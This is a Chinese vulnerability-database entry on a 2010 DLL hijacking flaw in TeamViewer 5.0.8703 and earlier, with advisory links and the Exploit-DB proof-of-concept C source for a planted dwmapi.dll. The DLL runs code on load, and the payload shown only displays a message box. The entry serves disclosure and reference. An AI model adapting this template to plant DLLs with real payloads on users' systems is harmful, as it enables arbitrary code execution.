TeamViewer非信任搜索路径漏洞

https://www.exploit-db.com/exploits/14734
https://cxsecurity.com/issue/WLB-2010080158
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201008-309

TeamViewer是一个套用于远程控制、桌面共享和文件传输的解决方案。 TeamViewer 5.0.8703及之前的版本中存在非信任搜索路径漏洞。本地用户和远程攻击者可以借助与.tvs文件或.tvc文件中同在一个文件夹下的dwmapi.dll木马，执行任意代码和DLL劫持攻击。

/* 
Exploit Title: TeamViewer <= 5.0.8703 DLL Hijacking Exploit (dwmapi.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: 5.0.8703
Tested on: Windows XP SP3 En
Vulnerable extensions: .tvs .tvc
Greetz: Astalavista, OffSEC, Exploit-DB
*/

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI  DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  dll_hijack();
  return 0;
}

int dll_hijack()
{
  MessageBox(0, "TeamViewer DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
}

来源:VUPEN
名称:ADV-2010-2174
链接:http://www.vupen.com/english/advisories/2010/2174
来源:BUGTRAQ
名称:20100825TeamViewer<=5.0.8703DLLHijackingExploit(dwmapi.dll)
链接:http://www.securityfocus.com/archive/1/archive/1/513317/100/0/threaded
来源:EXPLOIT-DB
名称:14734
链接:http://www.exploit-db.com/exploits/14734
来源:SECUNIA
名称:41112
链接:http://secunia.com/advisories/41112